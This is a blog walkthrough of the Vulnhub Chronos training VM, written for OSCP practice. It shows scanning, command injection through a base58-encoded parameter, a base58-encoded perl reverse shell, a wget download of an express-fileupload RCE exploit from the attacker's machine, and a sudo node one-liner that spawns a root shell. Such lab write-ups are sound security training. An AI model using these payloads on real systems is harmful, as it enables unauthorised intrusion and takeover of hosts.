Vulnhub Chronos VM Walkthrough

Another box closer to finally earning my OSCP …. I can feel it

It seems so difficult to find boxes that aren’t easy but that also aren’t too difficult. If that’s you right now, then give Chronos a try. It’s not insane hard but it’s also way more realistic than most of the machines I review.

Download the Virtual Machine Here
Author: Alienum

Defining the Attack Surface

I started with a full port nmap scan

nmap -p- -sC -oN nmap_full_output 192.168.158.151

It appears we have 3 services running,

Port 22 - SSH

Port 80 - HTTP

Port 8000 - HTTP

It also appears that port 8000 allows for PUT DELETE and PATCH <insert smirk face here>

Before we start exploiting stuff though, let’s finish our discovery. Next, I want to see what these websites look like when we navigate to them. So first I open them in the browser

Service running on port 80


Service running on port 8000

Next I move on to nikto

nikto -h http://192.168.158.151

From this we have the apache version 2.4.29 which is correctly identified as being outdated. Also, we see that directory browsing is available. I add both of these to my notes because they might be useful later and I move on for now.

nitko -h http://192.168.151:8000

Looks like running nikto on port 8000 errors out really quick. Moving on.

Time to run DAS BUSTER

dirb http://192.168.158.151 /usr/share/wordlists/dirbuster/directories.jbrofuzz


Next against port 8000

dirb http://192.168.158.151:8000 /usr/share/wordlists/dirbuster/directories.jbrofuzz

Ahhh there we go, now we’re getting something. Looks like there’s an endpoint named Date. Let’s open it in the browser

Alright, now things are heating up. It appears that endpoint threw up on something. Probably something missing. Let’s see if we can abstract anything from this error text.

Well, to start, we know the path to the web application now

/opt/chronos/node_modules/base-x/src/index.js

Also, we now know that the application server is running node. It also appears that the function process_params was the one that threw the exception here.

Other than the app blew up on some decoding command, that’s about all we’re going to get from this. Time to move on.

Now that I’ve gone through my initial scans and have the attack surface identified, I’m going to start drilling in a little more and manually inspecting the source on the pages.

Looking for Soft Spots

When I’m poking web applications I usually always have burp running in the background. So up to this point I’ve actually already captured all the web traffic from the browser but before we dig into it, I want to manually go inspect the page source and see if there’s anything in there I can use.

Okay interesting, someone went through some trouble to obfuscate all that javascript so before I take the time to undo it, I’m going to see if there’s any other low hanging fruit.

Let’s look at the console window.

Oh that’s interesting. Two failed calls to port 8000 in the output. It appears that our two webservices are talking to each other. It also appears that the missing param we noticed in the last stage is the “format” param.

If we take a closer look at the response headers, we see that the response code is 200, so why did it fail?

There’s the reason! It looks like it’s setting the Hostname header to chronos.local:8000

If we think logically about what’s happening here, it should be obvious what’s happening.

  1. We make a request to the webserver on port 80 and we’re returned a page
  2. The javascript in that page, makes a request to port 8000 from our machine and sets the hostname to chronos.local

Do you see the problem?

Unless you have chronos.local in your /etc/hosts file, your machine is going to have no idea where to route chronos.local when it attempts to route that GET request.

To easy, let’s pop open /etc/hosts and add a new line with 192.168.158.151 chronos.local in there. This way our machine knows where to send those packets.

(obviously your target ip will probably be different)

And what do you know? As soon as you do that and refresh your chronos landing page, we get a date time. It looks like the application is functioning as expected now

Vulnhub Chronos VM Walkthrough

Let’s try and crack it 🙂

Getting a foothold

First thing I do is crack open burp and start inspecting all of the traffic we’ve been sending. Specifically, I want to see that very last request going to port 8000

Just right click and send to repeater.

Repeater replays the exact message and in response we get a 200 and what appears to be a datetime!

Sweet, now let’s see what that encoded string really is. I have a feeling that’s going to be our trophy here.

I double click the encoded string, right click and send to decoder. I ran it through each of the decodings but none of them decode it…..

So, I guess we need to pull out the big guns

I head over to cyber chef and use the magic option. This thing really is magic sometimes.

Looks like cyber chef got it! It’s a base 58 encoded string and the string contains
'+Today is %A, %B %d, %Y %H:%M:%S.'

Next, I find a simple base58 encoder decoder and start generating some test payloads

Now the fun part. This might be a little frustrating. At first, I thought there was some type of intrusion detection system preventing me from accessing the machine. The service seemed to stop responding randomly and eventually closes the port and never comes back. You may need to restart the machine. I don’t believe this is by design

That being said, if you craft it just right, you can slip past the server’s app and get command injection.

I started with something simple,

'+Today is %A, %B %d, %Y %H:%M:%S.'; ls -la

which when converted into base58 is

3tMMgHUnzUbrMNnoRimpQhWEkSPfyktyDehmp58hDsbcctg2FtShKRYCtY8

then I include that into my payload

Okay so we have command execution on the server. Ohhhh app.js looks interesting. Let’s see if we can cat it out.

'+Today is %A, %B %d, %Y %H:%M:%S.'; cat app.js1

Kt5yZ867fUXayBBqX5Vxm3sWqGyCEHau9TiVNCTo5qmgQ8RswFXGAhYtic9LoneW

It works! And, we can see what commands they’re filtering out on the backend. So as long as we don’t invoke one of these commands, we should be able to continue our injection without disrupting the machine.


Now we can move on to trying to get a shell. It doesn’t appear that perl is in the list of items. Let’s see if we can check if it’s installed. It doesn’t look like we’re allowed to use the Which command based on the above filtering. However, that doesn’t mean we can’t just call perl --version and see if we get some output.

Once again building and encoding our payload string

AQKbwuPgjem8xMc6tRnqawaL3XZmEAhNA2WmNGZiyvhVGgT3k4Bad3vwDkorMSvDFTAcPVw

It does appear that perl is installed and is responding to our commands. Let’s get that shell.

I tried a few different reverse shells from my favorite cheat sheet but the one that seemed to actually work was in fact the perl shell.

uHgShTB1gujMNTZEbx22MzcdvsvipvBezjDCij6beY8cVRCUjJmy87TYiDnAdjhqPBhk3XrCfvnMDMy1gVAXgsJYpt6sQygtb4E99nkyXQw4SqAra4JJkLW8nNde9nfbVhhQZhKbVuRDvKZPbBheZJpwqwJRFXboWVJWZfZCeyUaeUPoHLNxxR9UUrLf1LwfeWaJckjUX54DcKtJG1cSwoL2ebw7wTxKpKTXBXNuvZj2bSLUNHdkSxzp1bZEwxT1WptLE4r4eZvCjqpvFenY1WjHfD3EdtWgk8B5xxxs3RFVDnan457UekMevwZN8sofDahthwJZPGHXtbvyK8gDLTExi1jEPQk8f39G

That’s our encoded perl script reverse shell.

Don’t forget to start your listener. I started mine on port 443. This is a good practice because firewalls are often configured to let traffic go over port 80 and 443. It shouldn’t appear out of the norm to anything watching.

When I run my payload in burp and check my listener……..

We get a shell!

It appears we’re the www-data user. Let’s escalate privileges now

Privilege Escalation

Currently, my linux escalation methodology goes something like this, in this order

  • Run LinEnum.sh
  • Run suid3num.py
  • Check home directory
  • Look for misconfigurations in linux like world writable files
  • Check logs
  • Look at running services
  • Start poking at internal services
  • Aimlessly poke at box until exploit is found

USUALLY the vulnhub boxes are pretty easy and the above checks find something that move me up before I get to the bottom of the checklist. In this case though, I got all the way through my checklist before I figured out what the next step was.

Which brings me to why I really like this box. It wasn’t super obvious. Actually it required some code review to understand what the next step was and _why_. Also it wasn’t super difficult to do, but it did require just a little extra thought.

So let’s look at what the vulnerable service was that led to the next user.

We’re going to skip over all my enumeration steps because it isn’t worth seeing in this case. What is worth seeing though are the three things I have identified in the above image.

First, the target directory you’ll want to be in is /opt/chronos-v2/backend and the file we want to look at is server.js

When you cat out this short file, you’ll see it’s another node server that’s running on the machine. It appears that it’s listening on port 8080 internally and that it not only renders an index file in /opt/chronos-v2/frontend/pages but that it also requires a modules called express and a module called express-fileupload

Admittedly, I found this file very early on in my enumeration but I didn’t know if it was the target or not so I saved it for the end. This costs me about an hour of looking at things that had no relevance to the task. I suppose it’s a hard thing to balance. You don’t want to go down a rabbit hole but you also don’t want to miss the attack either.

When I googled for node express-fileupload exploit I came across this site here which not only explains that there’s a RCE vulnerability with this module but also provides a working proof of concept!

I moved the exploit code over to my attacking machine’s web directory and modified it to point to my attacking machine on port 444

On the victim’s machine, I cd /tmp and then wget http://192.168.158.239/testshell this pulls my shell down onto the victims machine. Finally I start my listener on port 444

Now we run it!

If you make the same mistake I did, then you’ll run it with python2 first. Use python3 and you won’t get any syntax errors.

We’re now the user imera

Let’s grab her flag and then move on to getting root

(note the weird double letter glitching. I’m not sure why this is happening)

Getting Root

Getting root can be easy or hard depending on if you circle back and start your enumeration over again. Remember that a different user means different permissions. I just start my above privilege escalation process over from the beginning to see what turns up this time around

I’m happy I did, because I almost walked right past this little gem. It appears that our user can not only sudo but sudo node without a password.

One quick google search later, let’s try it

node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'

ROOTED!

Summary

Yeah wow great box. I’m so happy I found this one. I’m going to be making attempt number two at my OSCP soon and this was what I needed. I really appreciate the box because it wasn’t silly things like hiding a password and a flag in a picture. Practicing for the OSCP requires real(er) world scenarios. So thank you to Alienum for putting this one together

Leave a Reply

five × 1 =